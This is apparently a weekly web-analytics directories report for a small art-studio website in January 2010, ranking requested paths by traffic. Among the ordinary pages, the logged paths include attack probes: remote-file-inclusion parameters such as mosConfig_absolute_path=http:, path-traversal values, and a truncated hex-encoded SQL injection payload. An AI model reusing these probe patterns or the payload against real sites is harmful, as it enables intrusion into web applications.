Directories Report

Week of 1/10/2010 to 1/16/2010

/ : All Items

Rank Item Accesses % Bytes % Visits %
1 [ /graphics] 18,101 57.64 205,037,780 60.15 506 13.65
2 [ /season] 7,181 22.87 40,966,859 12.02 920 24.81
3 [ /webstats] 1,498 4.77 4,372,231 1.28 166 4.48
4 [ /Templates] 1,410 4.49 1,164,923 0.34 492 13.27
5 / 1,206 3.84 13,240,267 3.88 1,063 28.67
6 [ /stats] 928 2.96 4,153,198 1.22 49 1.32
7 [ /pdfs] 243 0.77 54,505,155 15.99 173 4.67
8 [ /?sIncPath=http:] 101 0.32 2,449,553 0.72 0 0.00
9 [ /?_SERVER[DOCUMENT_ROOT]=http:] 80 0.25 1,940,240 0.57 0 0.00
10 [ /galleries] 68 0.22 54,543 0.02 18 0.49
11 /SASregistration.htm 58 0.18 2,046,250 0.60 54 1.46
12 [ /?custompluginfile[]=http:] 49 0.16 1,188,397 0.35 0 0.00
13 /index.htm 49 0.16 1,067,132 0.31 46 1.24
14 [ /?_zb_path=http:] 43 0.14 1,042,879 0.31 0 0.00
15 /SAScontact.htm 42 0.13 715,153 0.21 42 1.13
16 /SASabout.htm 37 0.12 755,021 0.22 37 1.00
17 /SASgallery.htm 34 0.11 706,882 0.21 31 0.84
18 [ /?view=page&pagename=http:] 33 0.11 800,349 0.23 0 0.00
19 /SASfosas.htm 28 0.09 610,221 0.18 25 0.67
20 /SASnewsletter.htm 27 0.09 425,101 0.12 26 0.70
21 /SASlinks.htm 24 0.08 314,381 0.09 22 0.59
22 [ /?mosConfig_absolute_path=http:] 21 0.07 509,313 0.15 0 0.00
23 /SASscholarship.htm 17 0.05 305,942 0.09 16 0.43
24 [ /?DOCUMENT_ROOT=http:] 9 0.03 218,277 0.06 0 0.00
25 [ /SASpdfs] 9 0.03 2,411 0.00 9 0.24
26 /robots.txt 8 0.03 1,976 0.00 8 0.22
27 [ /?_zb_path=..] 5 0.02 121,265 0.04 0 0.00
28 /?';DECLARE 4 0.01 97,012 0.03 0 0.00
29 [ /?GLOBALS[mosConfig_absolute_path]=http:] 4 0.01 97,012 0.03 0 0.00
30 /?id=http: 4 0.01 97,012 0.03 0 0.00
31 /?leisurelog.com 4 0.01 97,012 0.03 0 0.00
32 [ /?page=http:] 4 0.01 97,012 0.03 0 0.00
33 [ /?sourcedir=http:] 4 0.01 97,012 0.03 0 0.00
34 /?_ult_url_params=sec=srp&slk=web&cpos=&pos=1&concept=standa
rd&query=Sharon art studio&cbid=
3 0.01 72,759 0.02 0 0.00
35 [ /?custompluginfile=http:] 3 0.01 72,759 0.02 0 0.00
36 /?foiffs=in100fweg 3 0.01 72,759 0.02 0 0.00
37 [ /?option=com_joomlalib&task=&mosConfig_absolute_path=http:] 3 0.01 72,759 0.02 0 0.00
38 [ /? view=page&pagename=http:] 2 0.01 48,506 0.01 0 0.00
39 /?_ult_url_params=sec=srp&slk=web&cpos=&pos=1&concept=standa
rd&query=Sharon
2 0.01 48,506 0.01 0 0.00
40 [ /?baseDir=http:] 2 0.01 48,506 0.01 0 0.00
41 [ /?id=http://CPE-144-131-145-199.static.nsw.bigpond.net.au] 2 0.01 48,506 0.01 0 0.00
42 [ /?language_id=http:] 2 0.01 48,506 0.01 0 0.00
43 /?menu_frame.html 2 0.01 48,506 0.01 0 0.00
44 [ /?option=com_wrapper&Itemid=&mosConfig_absolute_path=http:] 2 0.01 48,506 0.01 0 0.00
45 [ /?path=http:] 2 0.01 48,506 0.01 0 0.00
46 [ /?sIncPath= powered 2009http:] 2 0.01 48,506 0.01 0 0.00
47 [ /?site= bussnisshttp:] 2 0.01 48,506 0.01 0 0.00
48 [ /icons] 2 0.01 0 0.00 2 0.05
49 [ //?_zb_path=http:] 1 0.00 24,253 0.01 0 0.00
50 [ //?sIncPath=http:] 1 0.00 24,253 0.01 0 0.00
51 [ //phpmyadmin] 1 0.00 266 0.00 1 0.03
52 /. 1 0.00 24,253 0.01 1 0.03
53 /? 1 0.00 15,656 0.00 0 0.00
54 /?';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054
207661726368617228323535292C40432076617263686172283430303029
204445434C415245205461626C655F437572736F7220435552534F522046
4F522073656C65637420612E6E616D652C622E6E616D652066726F6D2073
79736F626A6563747320612C737973636F6C756D6E732
1 0.00 24,253 0.01 0 0.00
55 /?;DECLARE 1 0.00 24,253 0.01 0 0.00
56 /?;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C4152452040542
07661726368617228323535292C404320766172636861722834303030292
04445434C415245205461626C655F437572736F7220435552534F5220464
F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737
9736F626A6563747320612C737973636F6C756D6E732
1 0.00 24,253 0.01 0 0.00
57 /?;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C4152452040542
07661726368617228323535292C404320766172636861722834303030292
04445434C415245205461626C655F437572736F7220435552534F5220464
F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737
9736F626A6563747320612C737973636F6C756D6E732@S);
1 0.00 24,253 0.01 0 0.00
58 /?> 1 0.00 24,253 0.01 0 0.00
59 [ /?ABSOLUTE_PATH_STUDIP=http:] 1 0.00 24,253 0.01 0 0.00
60 [ /?_SERVER[DOCUMENT_ROOT]=..] 1 0.00 24,253 0.01 0 0.00
61 /?cfAC12041D=575E17F!bWVzYWM6emlvbnM6i7ZcyNvEXMSMCWBziJ1NnQ=
=
1 0.00 24,253 0.01 0 0.00
62 /?citysearch_profile_view=1&profile_id=41271045 1 0.00 24,253 0.01 0 0.00
63 [ /?cmd&file=http:] 1 0.00 24,253 0.01 0 0.00
64 [ /?custompluginfile[]=..] 1 0.00 24,253 0.01 0 0.00
65 [ /?custompluginfile[]http:] 1 0.00 24,253 0.01 0 0.00
66 [ /?error=http:] 1 0.00 24,253 0.01 0 0.00
67 /?feed=rss2 1 0.00 24,253 0.01 0 0.00
68 [ /?mosConfig_absolute_path= http:] 1 0.00 24,253 0.01 0 0.00
69 [ /?mosConfig_absolute_path=..] 1 0.00 24,253 0.01 0 0.00
70 [ /?option=com_content&task=&sectionid=&id=&mosConfig_absolute
_path=http:]
1 0.00 24,253 0.01 0 0.00
71 /?p=40148 1 0.00 24,253 0.01 0 0.00
72 /?path[docroot]= 1 0.00 24,253 0.01 0 0.00
73 [ /?path[docroot]= http:] 1 0.00 24,253 0.01 0 0.00
74 [ /?path[docroot]=http:] 1 0.00 24,253 0.01 0 0.00
75 /?php=http://www.nglschool.co.kr 1 0.00 24,253 0.01 0 0.00
76 /?sIncPath=uid=1512(z71584) gid=106(hosting) groups=106(host
ing)
1 0.00 24,253 0.01 0 0.00
77 /?sIncPath=uid=1512(z71584) gid=106(hosting) groups=106(host
ing) ?
1 0.00 24,253 0.01 0 0.00
78 [ /?sincpath=http:] 1 0.00 24,253 0.01 0 0.00
79 [ /?sourcedir=..] 1 0.00 24,253 0.01 0 0.00
80 /?tp=1 1 0.00 24,253 0.01 0 0.00
81 [ /?view=page&pagename= http:] 1 0.00 24,253 0.01 0 0.00
82 [ /?zb_path=http:] 1 0.00 24,253 0.01 0 0.00
83 /sumthin 1 0.00 232 0.00 1 0.03